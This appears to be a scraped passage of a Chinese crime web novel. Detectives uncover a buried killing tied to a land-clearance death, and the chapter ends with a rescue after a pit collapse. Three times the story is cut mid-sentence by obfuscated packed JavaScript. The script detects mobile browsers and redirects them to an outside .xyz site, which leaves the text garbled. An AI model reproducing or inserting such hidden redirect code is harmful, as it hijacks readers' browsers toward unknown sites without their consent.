接着,李安又问了陈浩的经济状况和其他的人际往来,得到的答案依旧是自己的丈夫是多么多么的无辜善良。
全程秦朗都没有打断过,他的目光始终停留在周倩倩的脸上。当周倩倩再次提到工作压力大的时候,他的身子往前倾,语气未变,却换了一个方向去审讯:“周女士,你知道吗,报应这两个字通常是当是人有强烈的负罪感,才会说出口。”
没等周倩倩反应,他又继续问道:“陈浩先生,在他情绪最低落的时候,有没有提到过让他感到困扰甚至恐惧的人和事呢?比如,提到过三年前的一位老人?或者任何与老年男性有关的事。”
“三年前的老人……!”听闻这话,周倩倩擦眼泪的手立刻停住,瞳孔微缩。她下意识地避开秦朗的目光,手指紧紧攥住纸巾,极力否认,带着近乎于本能的慌张:“什么老人?!我不知道你在说什么?陈浩他就是工作压力大而已!”
这激烈的态度别说逃过秦朗的眼睛,就连刚刚开始学习犯罪心理学的江林夕,都看出来了。
周倩倩有问题,她绝对知道什么!
秦朗语气平静,却带着隐隐的压力继续询问:“周女士,我们知道你很难过,但是现在陈浩生不见人,死不见尸。现在最重要的事就是找到凶手,找到陈浩。你确定,你真的什么都不知道吗?”
接着秦朗和李安没急着说话,审讯里陷入了一阵短暂而又窒息的沉默。秦朗只是安静的看着周倩倩,而李安默契配合着,低头翻看手里的资料,笔尖在纸上写着什么,“沙沙”的声音在此刻格外刺耳。
江林夕虽然不太理解他们为什么突然沉默,但她刚刚敏锐的捕捉到秦朗和李安两人之间的对视,她下意识地学着他们现在的状态,保持安静,不敢发出任何声音。
随着沉默的时间越来越长,周倩倩的神情也越发的紧张。
几秒之后,李安语带安慰,再度出现一副为她好的模样:“周女士,你知不知道,你现在的知情不报不是在保护陈浩,而是让陈浩更加的危险,明白吗?而且,如果现在伤害陈浩的犯人觉得你也是个威胁,转头来找你麻烦怎么办?你有没有想过。”
听到这话,江林夕微微一愣,记笔记的手也停了下来。
“找我麻烦?!”周倩倩猛然抬头,脸上血色退的一干二净,恐惧显而易见。
“关于那位老人,我们既然能在这里问你,就意味着我们已经掌握了一些情报。现在,只是想要听你亲口说出来而已。”秦朗的语气并不严厉,却带着不容置疑。
周倩倩的脸色更白了,她嘴唇嚅动了几下,内心的挣扎清晰可见的写在脸上。
最终,在这样的氛围压迫和担心丈夫的痛苦下,彻底崩溃,她声音颤抖,语带哭腔:“是有那么个老人,在、在三年前的那个拆迁项目上出了意外。但那就是意外!陈浩也不想的!真的!”
随后她断断续续的开始讲述起了,那个被刻意遗忘的三年前。
“三年前,陈浩负责清永村的拆迁项目,那时候大部分人该搬的都差不多搬了,就剩一个老头死活不肯走,还成了钉子户。”
“有天,陈浩喝了点酒,上头催的又紧……就想着吓唬老头一下,真的只是想要吓唬他一下!”
“他开了工地上的一辆推土车,想制造点动静,把老头吓走,没成想到那老头听到动静,竟然跑到推土车前面和他对峙。”
周倩倩的呼吸变得急促起来,眼里充满恐惧:“不知道是陈浩酒精上头了还是推土车出了问题,推土车不知道怎么的就失控了,一直往前猛冲,拦都拦不住,那老头也没躲开……”
“被撞的老头血流了一地,当场就没了。陈浩被吓傻了,酒也醒了。后来找了好多关系,花了不少钱,事情定性成了意外事故在加上他是自首,也就判了一年多就出来了。”
“出来后的陈浩偶尔会做噩梦,也和我提过一两次,说自己睡不着,怕老头来找他,遭到报应。但我也劝他,事情都过去这么久了,人都没了,想再多也没用,人要往前看……”
“我以为……以为事情真的过去了,我没想到事情会变成这样……难道真的是报应吗……”周倩倩泣不成声,巨大的负罪感和愧疚彻底淹没了她。
原来如此,一场被掩盖的命案,还有一个枉死的老人。
江林夕看着眼前被击垮的女人,心里五味杂陈,一边觉得逃脱制裁的陈浩活该受到惩罚,一边又觉得他至少不该这样死,在那样痛苦绝望的折磨下死去。
就在这时,秦朗沉稳的声音打破了这一切,将所有人从情绪里拉回了现实:“这可能是蓄谋已久的复仇,现在把你知道的关于那个老人所有的信息情况告诉我。”
听到这话周倩倩擦了擦眼泪,努力回忆:“老头叫王福山,快七十了,脾气挺倔的。就住在、住在被拆的永清村那片老房子里,之前好像听说那是他们家祖宅,所以不愿意搬走。”
“他的家庭情况呢,知道吗?”秦朗继续追问。
“他好像有个儿子。”周倩倩继续努力回想陈浩和她提过的信息:“对,有一个儿子,叫什么来着……王、王康豪,好像是。貌似是在外面开大卡的,跑长途,平常不怎么回来。他爸出事之后,就是他回来处理后续的。”
----
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536649|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
-------------
审讯室外,问完话的周倩倩已经安排回去。
江林夕追上走在走廊上的秦朗,还是问出了自己不理解的问题:“秦队,既然我们内部已经确定陈浩死亡,为什么刚刚审讯的时候,不告诉陈浩的妻子事实,她的丈夫已经遇害?还给她这样能找到人的希望啊?”
秦朗随着江林夕的问题,停下了脚步,转身望向她:“任何案子,只要没有找到尸体,那么在规定上他就是失踪人员……”
“可是,不告诉家属,隐瞒事实,对家属来说是不是太残忍了?而且告诉他们真相,不是更能让他们配合调查吗?”江林夕满脸疑惑,不太理解。
“你知道吗,我入警队还没多久的时候,曾做错过一件事。”秦朗没有回答她的问题,而是突然说起了别的,他的思绪似乎回到了那个时候。一个女人带着自己的孩子,哭泣着拉着他的双手,苦苦哀求自己,询问她的丈夫怎么样了。
“那时候有个案子,当时所有迹象都已经表明受害者已经遇害,绝无生还可能。家属多次过来追问,我向她透露了队里的推测。结果第二天,在河道里找到了那家人,失踪已久的丈夫尸体同时,报案的妻子,带着自己的孩子服用过量安眠药,孩子救回来了,可惜她没有被抢救过来。而他们家桌上还放着的遗书。”
秦朗的眼神对上江林夕的双眸,目光沉静地看向她:“你知道那个妻子在遗书里写了什么吗?”
江林夕摇摇头。
“谢谢你告诉我真相……”他的视线随着话语仿佛穿过了江林夕,落到了一片虚无上。
而望着秦朗眼眸的江林夕,瞬间感觉自己的呼吸停滞住了,她下意识地避开秦朗过于平静的目光,低下头,盯着自己因为用力攥着而发白的指节。
与此同时,一股猝不及防的酸涩,像细密的针扎在她的心口上。
秦朗继续开口:“所以你要明白,我们说的每一句话都要慎之又慎,对于家属来说,每个字都可能是压垮骆驼的最后一根稻草。”
江林夕依旧低着头没反应,只觉得自己心里堵得慌,她不解的用右手捂住自己的胸口,轻轻的揉了一下,好像这样可以缓解这份不适。
她深吸了一口气,用力的把那份酸涩感压下去,再次抬起头时,眼里多了一份理解,还有一丝微不可见的柔软。
“我明白了,秦队。”她的声音很轻,却异常的清晰:“我记住了。”
江林夕在这次对话里不仅仅是记住了这个道理,也记住了秦朗此刻平静下的痛苦。
这一瞬间,就像小蛇一样,悄无声息的钻进了她心里的缝隙。
而她的这些细微的动作,怎么逃得了专吃这碗饭的秦朗,语气带着随意想要缓解她的不适,轻轻微笑,半开玩笑道:“又学到了吧,看来我这个老师做的还是不错的。”
听闻这话,江林夕先是一怔,下意识抬眼,恰好撞上秦朗还带着笑意的眼睛。
反应过来,她轻轻嗯了一声做为回应,然后又装作一副认真受教的夸夸小能手上线:“哇~不愧是秦老师!”
12. 热美式的魔力
又是熟悉的会议室,又是熟悉的咖啡香味,以及熟悉的紧张感。
侦查四元素大剌剌的写在白板上,分别是:动机、条件、时间、物证,旁边还有个王康豪的名字。
写完这些后,秦朗站直起身面向众人,语速虽快却条理清楚的说道:“好了,现在大家把线索理一理,首先动机。”
李安抱着保温杯,吹了吹杯里的热美式,抿了一口,缓缓开口:“王康豪有充分的动机,杀父之仇,不共戴天的那种。之前因为拆迁的事情,他父亲的死亡说是意外,其实是陈浩酒后失控致人死亡,还加上刻意掩盖,使陈浩通过非法手段没有得到应有的惩罚。”
陈锐明先是有些嫌弃的看了眼,李安杯里的热美式,被李安瞪了一眼后,立刻装作什么都没看,转脸接着说道:“而且,王康豪他的条件也完全符合,货车司机,对城郊道路门清,他常年跑车的那辆红色货车就是现成的作案和运输工具。”
随即他语气兴奋的,一副摩拳擦掌的样子继续开口:“秦队,我马上就去交管局,把他那辆货车那几天的活动轨迹,特别是出城通往南郊的记录全给他调出来。”
秦朗点了点头表示同意,接着看向顾晴开口:“时间线那边整理出来了吗?”
顾晴把自己面前的笔记本电脑调转成面对众人的方向,回答:“刚出来,你们看一下。这是陈浩失踪当天,王康豪的行动轨迹。”
只见电脑上显示:
9:30王康豪驾驶自己的红色货车,出现在了城东的一家五金建材市场监控里,11:00左右离开。
13:15他的货车被拍到下了高速,进入南郊区域。
14:00到16:30,货车出现在南郊,通往采石场和慈安寺的碎石路段周边监控陆续出现。
17:10左右,货车再次出现下高速关口,返回市区的方向,并且车厢进行了遮挡。
18:00至19:00左右,货车出现在陈浩公司附近的停车场,停靠将近一个小时。这个时间段正是陈浩平常下班的时间。
19:20后,王康豪的货车从陈浩公司附近消失,差不多这个时间段,陈浩和他的妻子通话后失联。
20:30左右,货车再次出现通往南郊的高速关口,车速较快。
21:30直至深夜,车里进入南郊采石场区域后,消失在监控盲区。第二天凌晨4:00左右,才再次出现在返回市区的道路上。
看完时间线,秦朗指着屏幕:“根据这个时间线,可以看到王康豪的行动其实是有计划性的。”然后左手抵住下巴忍不住皱眉,看向最后一条时间线点了点:“如果只是活埋不需要这么长时间,也就是说,这段时间极有可能就是他挖出并转移尸体的时间线。”
李安啧啧嘴,又喝了一口热美式,一副人间美味的样子:“现在就差物证了,只要找到王康豪就好办了。”
陈锐明闻着热美式的味道,实在是受不了了,难以理解的抓狂问道:“师父,你不觉得热美式很难喝吗?喝这个还不如喝中药!”
李安慢悠悠的把最后一口喝完,眯着眼,一脸高深莫测:“你小子懂什么?我就爱这一口,良药苦口懂不懂,办案就像是喝咖啡,吃得苦中苦,方为人上人。”然后拍了拍陈锐明的肩膀:“等你多办几个案子就知道了。”
陈锐明听的一阵目瞪口呆,满脸崇拜:“热美式这么厉害吗?好!我要连喝三杯!”
江林夕在旁边听到眨了眨眼,小声嘀咕:“可是李叔你刚刚不是还和我吐槽难喝吗,说这玩意要不是刚刚点外卖的时候,自己手滑点错了,这辈子都不会点一次吗?”
她一脸无辜的看向李安,细看其实能看到眼眸里透露出一丝的狡黠。
李安老脸一红,忍不住咳嗽起来。陈锐明先是一愣,随即立刻明白自己是被忽悠了:“师父!你又忽悠我!”
看到这闹哄哄的一幕,会议室的人都没绷住,哈哈大笑。
而罪魁祸首江林夕,也偷偷摸摸的弯起了嘴角。
-----------------
“咳咳,好了,会议继续。”秦朗回到白板前,然后在白板上用白板笔写下大大的“活埋”两个字,随后用笔敲了敲白板这两个字,声音回归沉稳问道:“还有一个关键的问题,需要我们思考。”
“凶手为什么选择活埋?”
他停顿了一下,给每个人有一些思考的时间,然后接着说道:“活埋,这是一种极其费时费力的杀人方式。它需要提前挖坑,并且需要制服并且控制住受害者,还需要一铲一铲地完成整个填埋过程。凶手没有使用其他更为简单的方式,比如说一刀毙命等,活埋的方式风险也更高。”
他的目光扫过在场每一个人,嗓音低沉:“除了说明,这凶手绝对是有预谋的犯案,不会是临时起意以外。”
接着秦朗的目光落在一旁认真聆听和记录的江林夕,带有引导意味的询问:“江顾问,从犯罪心理和行为模式的角度来看。你怎么看活埋这个行为,凶手又为什么这么大费周章?”
突然被当众点名,虽然周围都是熟悉的人,但江林夕还是觉得自己的社恐人格差点要发作了,这一幕也太像上学的时候,被老师点名自己回答问题的样子了吧。
当然,她也知道这样的询问才有利于她的学习嘛~深吸一口气,强迫自己冷静,仔细回想了一下,自己所学的知识,以及噩梦中发现的细节,然后尝试将它们结合在一起。
江林夕组织了一下语言回答:“活埋过程缓慢,会让受害者清晰地感受到自己的生命被一点点剥夺,受害者会充满了无助和恐惧。他很有可能不仅仅只是想要受害者死亡,而是想要他体会极致的痛苦和绝望……我想,活埋这个选择表现了凶手对受害者,有着很深的仇恨,而泥土很有可能对他来说,也有特别的象征意义。””
回答完毕,江林夕不好意思的拨了拨自己脸庞的碎发,把有些遮眼睛的碎发掖在耳后。然后就看到坐在她对面的顾晴,悄悄伸出大拇指对自己比了比。
秦朗鼓励性的点了点头,肯定了她的分析:“说的很好。”接着又补充:“凶手选择这种方式,除了很深的仇恨以外,也表现出了他想要这个过程,他想要亲眼去看,甚至是去帮助死者走向死亡。”
他顿了顿继续说道:“而在此基础上,他甚至在完成活埋这个行为后,还再次费力地将尸体挖出转移。这也说明,他想要掌控被害者的一切,所以一定会把死者的尸体带到与他父亲的记忆,或者内心的执念有关的地方。”
“那么,这个藏尸点一定对王康豪来说不一样。”
……
“顾晴,查一下南郊一带有没有对于王家父子有特殊意义的地点。”思索片刻,秦朗直接安排起来。
“收到,秦队。”顾晴立刻应下,在电脑面前忙了起来。
“小陈,”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536650|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秦朗又看向陈锐明:“现在就去交管局,特别是王康豪货车最后消失那片区域的地方,扩大搜索范围,确保我们没有一楼的岔路或者临时停靠点等。”
“收到!秦队。”陈锐明干劲十足,说完抓起自己的笔记本就往外冲。
目睹自己徒弟莽莽撞撞的样子,李安无奈的叹口气,自己这个徒弟到底什么时候才能稳重一点。
然后起身说道:“秦队,那我带几个人把王康豪关系网排查一下,看看有没有熟人知道,他有没有什么常去,或者念念不忘的地方。”
秦朗点点头,叮嘱:“好,辛苦李叔了,老规矩,注意方法方式。”
“那肯定的。”李安拿起桌上自己的保温杯,离开了会议室。
转眼间,偌大的会议室就剩下秦朗和江林夕,以及还在电脑面前带着耳机两耳不闻窗外事的顾晴。
突然的安静,让会议室里的气息弥漫出说不出来的感觉。
江林夕眨了眨眼睛,有些无措的捏了捏自己记笔记的小兔子黑笔的耳朵,半带好奇的疑问:“秦队,那我呢?”
秦朗几步走到她身边的椅子旁,右手稳稳的按住椅背,将它往后一带,随即坐了下来。骨节分明的手伸了出来,没有回答她的问题,反而反问:“可以给我看一下你的笔记吗?”
“好的。”江林夕微微一怔,随即反应过来,将手中的笔记本递了过去。
秦朗垂眸翻看笔记,骨节分明的手指划过纸张,发出轻微的沙沙声,他看的很认真,眉头微微蹙起。
江林夕的视线不知不觉的顺着秦朗的五官描绘了起来,从利落的眉骨,到下垂眼睛时显得格外纤长的睫毛,再沿着他挺拔的鼻梁往下移动,最终停留在了那双总是紧抿着、此刻却意外柔和的薄唇上。
有点好看啊,这个长相应该就是网上所谓的禁欲系帅哥吧,好像还差一副金丝边框眼镜。江林夕漫无目的想着,然后在脑海里想象秦朗戴眼镜的模样。
秦朗眸光微闪,忽然开口:“记得很详细,但还是不够。”
这把看的出神的江林夕吓了一大跳,赶紧移开视线,耳根还有点发烫。
说着,秦朗拿起江林夕的小兔子黑笔,在笔记本上几个关键信息画了个圈。
江林夕听到秦朗的指导赶忙看向笔记本被画的地方。
“犯罪心理学要学会思考,比如这里。”他的笔尖停留在她记录的“王康豪近期情绪暴躁”旁,然后开口:“除了暴躁以外,你需要思考他为什么暴躁,是经济压力还是家庭矛盾,又或者是其他什么。”
“就像你在梦中,除了用心去感受,也要用脑子去分析。”
江林夕不自觉地屏住了呼吸,认真的把他说的这些都一一记下。
“首先,找边界。在梦中,你的头顶是天空还是屋顶,脚下是泥土还是水泥地,或者是水。辨别这些你可以分析出,你现在的定位是在室内、野外还是水下。”
“其次,听声音。除了受害者和凶手的声音,有没有特殊的环境音,水流或者机器,又或者是某些方言的叫卖声,这些也同样可以让你分析。”
“最后,也是最重要的一点。”秦朗侧过头,目光沉静地落在江林夕的脸上:“剥离情绪,观察细节。你要记住,你不是受害者,更像是一个在现场的关键证人,不要让受害者的情绪伤害到自己。”
“我明白了。”听完秦朗所说的,江林夕只觉得自己豁然开朗。
13. 埋没的危机
夜色深沉,天上都没挂几颗星星。
江林夕发现自己又一次出现在那条颠簸的碎石路上,熟悉的恐惧迎面而来。但是这一次,她想起了秦朗对她说的话,一遍又一遍的在心里默念,保持清醒:我不是受害者,我不是受害者,这些所有的一切都伤害不到我。
努力屏蔽掉陈浩的思绪后,江林夕感觉这一次的颠簸感比上一次更加清晰,也可以感受到身下粗糙货箱的底板,以及四肢被绳索捆绑的地方,越来越麻木。手腕和脚腕的皮肤应该已经磨破了,有些火辣辣的疼。
因为什么都看不见,江林夕只能努力的去用其他器官感受。
仔细的倾听,她发现除了引擎的声音和轮胎压过碎石的声音,似乎还隐约的能听见压抑的哽咽声?不是来自被堵住嘴的陈浩,而是来自前方的驾驶室,是王康豪吗?他是在激动?不,不对,这个声音是在哭泣。
为什么?为什么他会哭泣?
接着江林夕用力深吸一口气,想要辨别有没有特殊的气味,很可惜除了汽油和尘土的焦灼味什么都没有。
……
接着泥土开始落下,江林夕强行压制住陈浩那汹涌的恐惧感,把注意力集中在凶手身上。
她听到凶手铲土的动作,起初很快,带着一种发泄一样的疯狂,接着逐渐慢了下来。
然后又是那个哽咽的声音,混合着铁锹刮擦泥土的声音,若隐若现,断断续续的:
“就是这样……就是这样……”
“都陷进去了……混在一起……”
“我真没用……”
……
江林夕猛地睁开眼,胸口剧烈起伏,用手擦掉额头上的冷汗。和以前不一样,虽然同样的恐惧痛苦,可是这一次噩梦结束后,还有一种说不出来的亢奋感,感觉自己的大脑异常的活跃。
噩梦结束虽然没有得到什么新的线索,但是她还是捕捉到了凶手的那抹情绪,痛苦和自我谴责。
那些断断续续的哽咽和低语,深深的刺入她的脑海。凶手在行凶的过程中,不仅仅是复仇,似乎还带着某种自我审判的意思,那句“我真没用”充满了无力感和自我否定,可是这和他残忍的行为又不太相符。
而且他说的“混在一起”又是什么意思,和泥土混在一起?还是什么?
江林夕立刻拿起床头柜放着的本子和兔子笔,在之前的记录旁补充道:凶手在作案过程中存在哭泣或者哽咽行为,同时伴有自我谴责的语言,可能存在强烈的内疚或者创伤后应激障碍(PTSD)表现。
凶手的活埋行为和他的心理状态有着强烈的冲突,提示了他的心理状态矛盾且不稳定,可能存在认知扭曲或者自我审判情节。
写到这里,她的笔尖停顿,一个清晰的而又可怕的念头在脑海闪过,接着她翻开新的一页,继续写道:基于其不稳定的心理状态,建议避免使用刺激性语言,或者使用过度强硬的手段进行逮捕沟通。他的内心正在经历激烈的斗争,存在极高的自我毁灭倾向。
在所有事情做完后,他很可能将自己也视为罪孽的一部分,意图与受害者,以及过去一同埋葬。
写完最后几个字,江林夕的心脏剧烈跳动。
凶手,很有可能根本没打算继续活着,并且根据时间来算,也就在这一两天。
她赶紧拍下自己写的这些分析,发给秦朗,并且在信息里追加了一句:“秦队,一定要找到他,请救救他。”
信息发送成功的提示音,在安静的房间里显得格外清晰。江林夕握着手机,指尖冰凉,那句脱口而出的“救救他”让她自己都感到意外。
是对凶手的怜悯嘛?不,并不是。
一个被仇恨和痛苦扭曲,即将走向自我毁灭的人,更加应该让他明白生命的重量和法律的尊严,仇恨不能填补内心的痛苦,自我毁灭是懦弱的逃避。
活下来,面对自己所犯下的罪行,接受法律的审判才是对过去的痛苦和错误,做一个了结。也是对被他杀害的陈浩和他的家人,以及自己含冤而死的父亲,一个郑重的交代。
她希望王康豪能活下来,面对这一切。
几乎没有犹豫,江林夕飞快地拉开被子,快速冲进洗手间,用冷水拍打了几下脸颊,给自己醒醒神。
然后换上便于活动的衣服,抓起手机和笔记本,快步出了门。
-----------------
凌晨的街道空旷而又安静,只有偶尔驶过的车辆,江林夕急切地四处张望,好不容易才拦下一辆出租车。
“去市公安局。”她拉开门坐进去,声音还带着一丝还没有平复的喘息。
坐在车里,江林夕紧握手机,脑海反复思考着王康豪的各种心理,越发的焦虑,总感觉现在的每一分每一秒的流逝,都显得格外的漫长。
出租车终于在市公安局的大门外停下,焦躁的江林夕在看到出租车里计价表上显示的数字,眼角还是忍不住抽搐了一下,但还是利索的扫码支付。
她推门下车,小跑往市公安局里跑,心里一直默念:一定要来的及。
推开门的那一瞬间,各种声音涌入她的耳中,键盘敲击声、纸张翻阅声、以及低声讨论声等等。
站在中央大屏前,正凝神听汇报的秦朗,似有所感。在江林夕推门而进的那一刻,他的目光越过所有忙碌的众人,精准地落在她的身上。眼眸里没有惊讶,仿佛早就预料到她会来。
秦朗没说话,只是朝她微微颔首,用眼神示意她过来。
江林夕心领神会,也没啰嗦,直接快步穿过忙碌的办公室,走到他的身旁。
刚刚站定,就看到大屏幕上显示了一个废弃砖厂的外部环境,杂草丛生,破旧的砖窑的一侧已经坍塌,旁边是锈蚀严重的窄轨铁道,断在窑洞口附近。
一辆红色货车,正停靠在那里。
这是……砖厂?
秦朗侧身和江林夕解释道:“我们查到这个红砖厂是王康豪他们家族世代经营的,王福山以前就在这做活,他儿子王康豪小时候经常在这玩耍。后来因为政策,红砖厂倒闭,王福山才去城里打工养活家里。对他们来说,这个地方是非常特殊的。”
红砖厂,江林夕忽然想起噩梦中闻到的焦灼味,原来如此。自己原本以为的普通尘土味,竟然完全没有意识到这是个线索,烧制砖块时的焦灼味,即使红砖厂废弃多年,依旧会根深蒂固的渗透每一个缝隙,包括凶手的那辆货车。
“你给我发完信息之后,我这边刚核对完李叔他们带回来的线索,怕来不及,就直接安排了小陈和行动小组立即前往红砖厂查看。”他说完望向江林夕的眼睛,眼神里带着一丝信任和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536651|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肯定。
这时,眼前另一块屏幕上,热成像图显示红砖厂深处的一个取土坑里有一个清晰的人形热源,此刻正缩成一团,静止不动。
无线电里传来陈锐明的声音:“秦队,已扫描到取土坑疑似嫌疑人人形热源,我正在和小组成员偷偷靠近,准备实施抓捕。”
“等等!”秦朗迅速反应过来,取土坑本就松软易塌,再加上废弃后,这么多年的风吹日晒,这么多人的进入很有可能造成大规模的塌方。
可是就在这短短的一瞬间,随着秦朗的话音刚落下,无线电里骤然传来一阵尖锐刺耳的噪音,紧接着是陈锐明急促的大声吼道:“退!快退!”
下一秒,通讯那边被一片混乱而又巨大的轰鸣声淹没。
大屏幕上实时传输的画面剧烈晃动,随后是漫天扬起的浓重尘土。屏幕瞬间变得模糊不清,只能看到几个人形热源在快速后退,而在取土坑里代表王康豪的人形热源被彻底覆盖。
一阵混乱,无线电那头传来行动组组长的声音,带着前所未有的惊骇和焦急:
“塌方了!取土坑侧边边缘发生大面积塌方,嫌疑人被埋,而冲在最前面的陈锐明警官和其他几个组员也被埋在里面了!重复!我们的人也被埋进去了!”
陈锐明和其他人也被埋进去了!
江林夕只觉得自己的心脏像是被一只手狠狠的攥住,那个总是充满干劲,无时无刻想要冲在最前锋,偶尔还会和自己偷偷吐槽自己师父,开玩笑的年轻警官,陈锐明也被埋进去了?!
画面里的混乱,以及无线电里传来的急促呼喊,让她感觉一阵眩晕,她下意识地扶住了旁边的桌子,只觉得自己手脚冰凉。
“救人!不惜一切代价!一定要把人给我挖出来!”
秦朗的声音第一次出现了如此明显的情绪波动,他强行保持镇定,对着无线电那头吼道:“所有人立刻支援!调用所有可用的工具,小心第二次塌方。待命的医疗组,准备急救!我现在准备去红砖厂进行支援!”
说完他看向身边的李安:“联系最近的消防应急部门,请求携带专业救援设备支援!要快!”
“明白!”李安瞬间应声,那张平日里总是带着几分圆滑和从容的脸上,此刻所有的表情都像是凝固了。他几乎是抢过身边通讯员手中的固定电话,手指因为用力而微微颤抖。
陈锐明,你小子,一定要没事啊!
电话接通,李安言简意赅的通知完所有的讯息,挂断电话后,立刻说道:“秦队,我和你一起去红砖厂进行支援。”
“我也去。”几乎在李安话音刚落的同时,原本坐在控制台前的顾晴,脸色煞白的站起身,声音带着不易察觉的颤抖。
秦朗没有丝毫犹豫:“好!李叔你负责现场救援协调,顾晴你带上笔记本电脑,保持数据互通!”
就在这时,一只冰冷的手轻轻地抓住了秦朗的手臂。
秦朗转头,对上江林夕的眼神:“秦队,请让我也帮忙。”他深深地看了她一眼,这种救援的风险极高,让她去现场可不是明智之举。
拒绝的话语几乎就要脱口而出,但是,在看到她脸上异常坚定的神色,终究还是把话咽了回去。
“跟上!”秦朗最终只能吐出这两个字:“跟在我或者李安身边,绝对不可以擅自行动!”
14. 分秒必争
警笛长鸣,撕破了黎明前那深沉的黑暗。
无数辆警车、消防车以及救护车汇聚成的一个车队,冲向前方的荒野,直到到达了南郊废弃的红砖厂边缘停下来。
车门打开,秦朗第一个跨步下车,李安跟在他的身后。顾晴抱着笔记本电脑也接着跳了下来,江林夕是最后一个落地的。扑面而来的土腥味与焦灼味瞬间裹挟住他们,土黄色的尘埃还四处弥漫在空气里。
映入他们眼帘的,是一片混乱的救援现场。
红砖厂的取土坑边缘塌陷了一大片,泥土堆积成了一个倾斜的斜坡,几架应急灯在周边照着光,亮如白昼。穿着橙色救援服和深蓝色警服的人们在塌方区域小心而又快速的挖掘着。
江林夕看着眼前的景象,嘴唇不受控制的发白,垂在身侧的手不自觉地握紧成拳,指甲深深陷入掌心,直到传来一阵尖锐的刺痛感,才反应过来松开手。她深吸了一口气,强迫自己冷静下来。
头戴安全帽的消防指挥员看到他们来了之后,表情凝重的指着生命探测仪的屏幕对秦朗说道:“下面至少还有四个人,生命信号非常微弱。”接着又顿了顿:“现在情况很危险,这里的土太软了,大型机器过不来,只能全靠人工,救援进度太慢了。”
秦朗没有丝毫的犹豫,斩钉截铁的回道:“我明白了,所有人顶上!”说完,他一把拿起靠在旁边的工兵铲,走向塌方区域。
李安双眼赤红,早就有些按耐不住,嘶哑着嗓子对其他人吼道:“拿家伙!”
秦朗和李安身先士卒,迅速投入到了这场挖掘救援行动中。
与此同时,顾晴走到放置生命探测仪的桌子那里,放下自己的电脑,快速开机,连接设备。
江林夕则快步走向旁边的救护车,看到医护人员忙得不可开交,开始帮忙协助安抚伤员,分发物资。
整个救助现场没有人大喊大叫,但是每个人都步履匆匆。工兵铲铲土声、仪器滴滴声、各种指令声等等,交织在一起。
最先被挖出来的是一个年轻警员,他被埋的地方在边缘位置,发现的时候意识还算比较清醒,身上也没有什么重伤。
紧接着,另一个被埋的警员也被找到了,他的伤势比较重,已经是昏迷状态,但经过初步检查还有生命体征。
每救出一个人,现场的众人就稍微松一口气,但随后目光又投向坑底最深处,也是最危险的坍塌核心区域,陈锐明和王康豪所在的地方。
“顾晴!”秦朗头也不回的喊了一声。
顾晴眼睛紧紧盯着电脑屏幕,手指飞快的在键盘上敲击着,半响,终于回应道:“成了,秦队!现场扫描完成了!核心区域不能从正上方直接挖,要绕过去,不然容易形成二次坍塌。”
听到这句话,秦朗安排所有人改道:“所有人从右侧绕行!”
就在这时,顾晴的声音突然拔高,带着前所未有的急切喊道:“秦队!生命探测仪显示,信号B的生命体征正在迅速往下掉!掉的特别快!”
所有人的心随着顾晴的这句话猛地往下一沉。
“加快速度!但一定要小心!”消防指挥员嗓音沙哑的喊出声指挥道。
秦朗和李安满脸是汗,挖掘的动作更加的快速,却也更加的谨慎小心。
江林夕站在人群外围,只觉得这种无力感让她很难受,能做的都做了,除了向老天祈祷陈锐明他们平安无事外,别无他法。
……
“看到了!有蓝色的布料!是警服!”一声惊呼声突然响起。
秦朗立刻扔掉手里的工兵铲,徒手上前,扑跪下去,徒手小心翼翼地拨开覆盖住人的浮土。李安也挤到了最前面,声音带着无法抑制的颤抖:“轻点!轻点!别伤着人!”
探照灯光下,陈锐明绻缩的身影逐渐显露出来。他面朝下趴着,背上压着厚重的泥土,脸色灰白的吓人,嘴唇泛着不祥的青紫色,失去了意识。
而他紧紧绻缩的上半身和双臂,竟然在坑壁上撑起了一个极其狭小的空间,死死的护住了身下同样昏迷的王康豪!
这一幕,让喧嚣的现场有了刹那的寂静。
秦朗看着陈锐明那即使在昏迷中依旧保持着的保护姿态的身体,喉结滚动了一下,然后喝道:“医疗组!”
一边待命的医疗人员拿着监护仪冲了上前去,救助医生跪在陈锐明身旁,手指按在他颈间,声音急促:“没有自主呼吸!脉搏微弱!清理口腔,准备插管!”
护士动作利落的用吸引器,吸出陈锐明口鼻中的泥水,然后撕开氧气面罩的包装。就在医生准备插管的瞬间,监护仪突然发出刺耳的长鸣。
“室颤了!”
“除颤器!充电200焦!清场!”
“砰!”陈锐明的身体随着除颤器弹起又落下。
“肾上腺素1mg静推!继续CPR!”
医生额头上渗出了细密的汗珠,手上心肺复苏的按压动作又快又稳。护士推注肾上腺素,时间一分一秒的流逝着。
